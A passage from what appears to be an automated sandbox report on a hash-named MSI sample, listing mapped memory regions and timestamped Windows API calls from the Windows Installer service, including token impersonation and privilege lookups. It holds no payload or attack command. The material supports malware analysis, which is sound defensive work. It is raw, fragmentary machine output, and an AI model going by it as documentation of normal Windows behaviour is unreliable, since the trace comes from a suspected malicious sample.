= "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2191 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2192 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2193 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2194 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2195 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2196 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2197 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2198 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2199 start_va = 0xc10000 end_va = 0xc16fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2200 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2201 start_va = 0x1a10000 end_va = 0x1a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a10000" filename = "" Region: id = 2202 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2203 start_va = 0xcb0000 end_va = 0xce3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "msi8ecf.tmp" filename = "\\Windows\\Installer\\MSI8ECF.tmp" (normalized: "c:\\windows\\installer\\msi8ecf.tmp") Region: id = 2204 start_va = 0x1d20000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 2205 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2206 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2207 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2305 start_va = 0xc10000 end_va = 0xc13fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 2306 start_va = 0xc20000 end_va = 0xc26fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll" filename = "\\Windows\\System32\\msimsg.dll" (normalized: "c:\\windows\\system32\\msimsg.dll") Region: id = 2307 start_va = 0xcb0000 end_va = 0xcc3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msimsg.dll.mui" filename = "\\Windows\\System32\\en-US\\msimsg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msimsg.dll.mui") Region: id = 2308 start_va = 0xc20000 end_va = 0xc24fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "1876f00.ipi" filename = "\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi") Region: id = 2309 start_va = 0xcb0000 end_va = 0xce3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "msia7fc.tmp" filename = "\\Windows\\Installer\\MSIA7FC.tmp" (normalized: "c:\\windows\\installer\\msia7fc.tmp") Region: id = 2310 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 2311 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 5598 start_va = 0xcb0000 end_va = 0xce3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "msi2306.tmp" filename = "\\Windows\\Installer\\MSI2306.tmp" (normalized: "c:\\windows\\installer\\msi2306.tmp") Region: id = 5599 start_va = 0x1620000 end_va = 0x169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 5666 start_va = 0xc10000 end_va = 0xc14fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "1876f00.ipi" filename = "\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi") Region: id = 5667 start_va = 0x73440000 end_va = 0x73442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 5668 start_va = 0x7fef9820000 end_va = 0x7fef982ffff monitored = 0 entry_point = 0x7fef9821010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 5669 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5670 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5671 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5672 start_va = 0xc10000 end_va = 0xc1cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5673 start_va = 0x7fefc030000 end_va = 0x7fefc041fff monitored = 0 entry_point = 0x7fefc031060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 5674 start_va = 0x4a50000 end_va = 0x5a4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a50000" filename = "" Region: id = 5675 start_va = 0xcb0000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "1876f00.ipi" filename = "\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi") Region: id = 5676 start_va = 0x14b0000 end_va = 0x152ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "~df397bf18cbdc5158c.tmp" filename = "\\Users\\KEECFM~1\\AppData\\Local\\Temp\\~DF397BF18CBDC5158C.TMP" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\~df397bf18cbdc5158c.tmp") Region: id = 5691 start_va = 0x4a50000 end_va = 0x5a4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a50000" filename = "" Region: id = 5692 start_va = 0xc20000 end_va = 0xc24fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "1876f00.ipi" filename = "\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi") Region: id = 5693 start_va = 0x73440000 end_va = 0x73442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 5694 start_va = 0x7fef9820000 end_va = 0x7fef982ffff monitored = 0 entry_point = 0x7fef9821010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Thread: id = 7 os_tid = 0xf4c Thread: id = 8 os_tid = 0xf48 Thread: id = 9 os_tid = 0xf44 [0068.402] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x7fef7830000 [0068.403] GetProcAddress (hModule=0x7fef7830000, lpProcName="QueryInstanceCount") returned 0x7fef784009c [0068.403] FreeLibrary (hLibModule=0x7fef7830000) returned 1 [0068.403] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0068.447] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x2 [0068.478] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x7fef7830000 [0068.479] GetProcAddress (hModule=0x7fef7830000, lpProcName="QueryInstanceCount") returned 0x7fef784009c [0068.479] FreeLibrary (hLibModule=0x7fef7830000) returned 1 [0068.479] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0068.488] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x2 [0068.511] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x7fef7830000 [0068.511] GetProcAddress (hModule=0x7fef7830000, lpProcName="QueryInstanceCount") returned 0x7fef784009c [0068.511] FreeLibrary (hLibModule=0x7fef7830000) returned 1 [0068.511] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0068.515] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x2 [0143.614] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0143.640] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x2 [0150.220] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0150.247] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x2 [0211.118] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x7fef7830000 [0211.119] GetProcAddress (hModule=0x7fef7830000, lpProcName="QueryInstanceCount") returned 0x7fef784009c [0211.119] FreeLibrary (hLibModule=0x7fef7830000) returned 1 [0211.119] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0211.140] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x2 [0211.145] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x7fef7830000 [0211.145] GetProcAddress (hModule=0x7fef7830000, lpProcName="QueryInstanceCount") returned 0x7fef784009c [0211.145] FreeLibrary (hLibModule=0x7fef7830000) returned 1 [0211.145] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0211.193] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x2 [0211.213] LoadLibraryW (lpLibFileName="Msi.dll") returned 0x7fef7830000 [0211.214] GetProcAddress (hModule=0x7fef7830000, lpProcName="QueryInstanceCount") returned 0x7fef784009c [0211.214] FreeLibrary (hLibModule=0x7fef7830000) returned 1 [0211.214] SetServiceStatus (hServiceStatus=0x300be0, lpServiceStatus=0xffbfe218*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x4, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0211.218] MsgWaitForMultipleObjects (nCount=0x3, pHandles=0xcaeb88*=0xfc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) Thread: id = 10 os_tid = 0xf40 Thread: id = 11 os_tid = 0xf3c [0063.648] DllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xdce398 | out: ppv=0xdce398*=0x7fef7b24050) returned 0x0 [0063.648] NdrDllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xdce398, pProxyFileList=0x7fef7b22388, pclsid=0x7fef7aa6bb8*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pPSFactoryBuffer=0x7fef7b24050 | out: ppv=0xdce398*=0x7fef7b24050) returned 0x0 [0068.246] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.246] GetCurrentThread () returned 0xfffffffffffffffe [0068.246] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xdce5c8 | out: TokenHandle=0xdce5c8*=0x0) returned 0 [0068.249] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.249] lstrlenW (lpString="OLE32") returned 5 [0068.249] GetSystemDirectoryW (in: lpBuffer=0xdce2a0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.249] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\OLE32.DLL") returned 0x7fefd4e0000 [0068.249] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoImpersonateClient") returned 0x7fefd4e5a14 [0068.250] CoImpersonateClient () returned 0x0 [0068.250] CoImpersonateClient () returned 0x0 [0068.250] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoRevertToSelf") returned 0x7fefd4e5a58 [0068.250] CoRevertToSelf () returned 0x0 [0068.250] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.374] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.374] GetCurrentThread () returned 0xfffffffffffffffe [0068.374] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xdce628 | out: TokenHandle=0xdce628*=0x0) returned 0 [0068.374] CoImpersonateClient () returned 0x0 [0068.374] CoRevertToSelf () returned 0x0 [0068.375] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.392] DllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xdce1e8 | out: ppv=0xdce1e8*=0x7fef7b24050) returned 0x0 [0068.392] NdrDllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xdce1e8, pProxyFileList=0x7fef7b22388, pclsid=0x7fef7aa6bb8*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pPSFactoryBuffer=0x7fef7b24050 | out: ppv=0xdce1e8*=0x7fef7b24050) returned 0x0 [0068.393] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.393] GetCurrentThread () returned 0xfffffffffffffffe [0068.393] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xdce5e0 | out: TokenHandle=0xdce5e0*=0x0) returned 0 [0068.395] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\_MSIExecute") returned 0x134 [0068.395] CloseHandle (hObject=0x134) returned 1 [0068.395] GetCurrentThreadId () returned 0xf3c [0068.395] GetCurrentThreadId () returned 0xf3c [0068.396] SetEvent (hEvent=0xf4) returned 1 [0068.396] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.396] lstrlenW (lpString="TSAPPCMP") returned 8 [0068.396] GetSystemDirectoryW (in: lpBuffer=0xdce070, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.396] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\TSAPPCMP.DLL") returned 0x0 [0068.396] GetCurrentThreadId () returned 0xf3c [0068.396] GetCurrentThreadId () returned 0xf3c [0068.397] GetCurrentThread () returned 0xfffffffffffffffe [0068.397] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xc, OpenAsSelf=1, TokenHandle=0xdce078 | out: TokenHandle=0xdce078*=0x0) returned 0 [0068.397] GetLastError () returned 0x3f0 [0068.397] GetCurrentProcess () returned 0xffffffffffffffff [0068.397] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0xc, TokenHandle=0xdce078 | out: TokenHandle=0xdce078*=0x134) returned 1 [0068.397] GetTokenInformation (in: TokenHandle=0x134, TokenInformationClass=0x1, TokenInformation=0xdcdfc0, TokenInformationLength=0x58, ReturnLength=0xdcdfb0 | out: TokenInformation=0xdcdfc0, ReturnLength=0xdcdfb0) returned 1 [0068.397] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0xdce0a0, pSourceSid=0xdcdfd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pDestinationSid=0xdce0a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0068.397] CloseHandle (hObject=0x134) returned 1 [0068.397] ConvertSidToStringSidW (in: Sid=0xdce0a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), StringSid=0xdce080 | out: StringSid=0xdce080*="S-1-5-18") returned 1 [0068.397] LocalFree (hMem=0x303850) returned 0x0 [0068.397] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-18\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0xdce250 | out: phkResult=0xdce250*=0x0) returned 0x2 [0068.399] GetCurrentThreadId () returned 0xf3c [0068.399] GetCurrentThreadId () returned 0xf3c [0068.399] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0xdce250 | out: phkResult=0xdce250*=0x0) returned 0x2 [0068.399] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.399] GetTickCount () returned 0x186b1e8 [0068.399] RtlRandomEx (in: Seed=0xdce330 | out: Seed=0xdce330) returned 0x771cb0ae [0068.399] _vsnwprintf (in: _Buffer=0x326fe0, _BufferCount=0x103, _Format="Global\\MSI%u", _ArgList=0xdce288 | out: _Buffer="Global\\MSI242") returned 13 [0068.399] lstrlenW (lpString="Global\\MSI242") returned 13 [0068.400] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.400] CreateEventW (lpEventAttributes=0xdce2d8, bManualReset=0, bInitialState=0, lpName="Global\\MSI242") returned 0x138 [0068.400] GetLastError () returned 0x0 [0068.400] lstrlenW (lpString="ET") returned 2 [0068.400] memcpy (in: _Dst=0x31efe0, _Src=0x31efa0, _Size=0x1a | out: _Dst=0x31efe0) returned 0x31efe0 [0068.400] CreateEventW (lpEventAttributes=0xdce2d8, bManualReset=1, bInitialState=0, lpName="Global\\MSI242ET") returned 0x13c [0068.401] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoGetCallContext") returned 0x7fefd4e54e0 [0068.401] CoGetCallContext (in: riid=0x7fef7a9f610*(Data1=0x13e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppInterface=0xdce280 | out: ppInterface=0xdce280*=0x3255b0) returned 0x0 [0068.401] CServerSecurity::ImpersonateClient () returned 0x0 [0068.401] GetCurrentThread () returned 0xfffffffffffffffe [0068.401] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x2f, OpenAsSelf=1, TokenHandle=0xdce288 | out: TokenHandle=0xdce288*=0x140) returned 1 [0068.401] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0x7fef7b23904 | out: lpLuid=0x7fef7b23904*(LowPart=0x2, HighPart=0)) returned 1 [0068.407] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0x7fef7b23910 | out: lpLuid=0x7fef7b23910*(LowPart=0x3, HighPart=0)) returned 1 [0068.408] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeLockMemoryPrivilege", lpLuid=0x7fef7b2391c | out: lpLuid=0x7fef7b2391c*(LowPart=0x4, HighPart=0)) returned 1 [0068.408] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0x7fef7b23928 | out: lpLuid=0x7fef7b23928*(LowPart=0x5, HighPart=0)) returned 1 [0068.409] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeUnsolicitedInputPrivilege", lpLuid=0x7fef7b23934 | out: lpLuid=0x7fef7b23934*(LowPart=0x0, HighPart=0)) returned 0 [0068.409] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeMachineAccountPrivilege", lpLuid=0x7fef7b23940 | out: lpLuid=0x7fef7b23940*(LowPart=0x6, HighPart=0)) returned 1 [0068.410] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0x7fef7b2394c | out: lpLuid=0x7fef7b2394c*(LowPart=0x7, HighPart=0)) returned 1 [0068.410] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeSecurityPrivilege", lpLuid=0x7fef7b23958 | out: lpLuid=0x7fef7b23958*(LowPart=0x8, HighPart=0)) returned 1 [0068.411] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x7fef7b23964 | out: lpLuid=0x7fef7b23964*(LowPart=0x9, HighPart=0)) returned 1 [0068.412] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeLoadDriverPrivilege", lpLuid=0x7fef7b23970 | out: lpLuid=0x7fef7b23970*(LowPart=0xa, HighPart=0)) returned 1 [0068.412] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeSystemProfilePrivilege", lpLuid=0x7fef7b2397c | out: lpLuid=0x7fef7b2397c*(LowPart=0xb, HighPart=0)) returned 1 [0068.413] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeSystemtimePrivilege", lpLuid=0x7fef7b23988 | out: lpLuid=0x7fef7b23988*(LowPart=0xc, HighPart=0)) returned 1 [0068.414] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeProfileSingleProcessPrivilege", lpLuid=0x7fef7b23994 | out: lpLuid=0x7fef7b23994*(LowPart=0xd, HighPart=0)) returned 1 [0068.415] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeIncreaseBasePriorityPrivilege", lpLuid=0x7fef7b239a0 | out: lpLuid=0x7fef7b239a0*(LowPart=0xe, HighPart=0)) returned 1 [0068.415] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeCreatePagefilePrivilege", lpLuid=0x7fef7b239ac | out: lpLuid=0x7fef7b239ac*(LowPart=0xf, HighPart=0)) returned 1 [0068.416] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeCreatePermanentPrivilege", lpLuid=0x7fef7b239b8 | out: lpLuid=0x7fef7b239b8*(LowPart=0x10, HighPart=0)) returned 1 [0068.416] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x7fef7b239c4 | out: lpLuid=0x7fef7b239c4*(LowPart=0x11, HighPart=0)) returned 1 [0068.417] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x7fef7b239d0 | out: lpLuid=0x7fef7b239d0*(LowPart=0x12, HighPart=0)) returned 1 [0068.417] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeShutdownPrivilege", lpLuid=0x7fef7b239dc | out: lpLuid=0x7fef7b239dc*(LowPart=0x13, HighPart=0)) returned 1 [0068.418] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x7fef7b239e8 | out: lpLuid=0x7fef7b239e8*(LowPart=0x14, HighPart=0)) returned 1 [0068.418] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeAuditPrivilege", lpLuid=0x7fef7b239f4 | out: lpLuid=0x7fef7b239f4*(LowPart=0x15, HighPart=0)) returned 1 [0068.419] LookupPrivilegeValueW (in: lpSystemName=0x0, 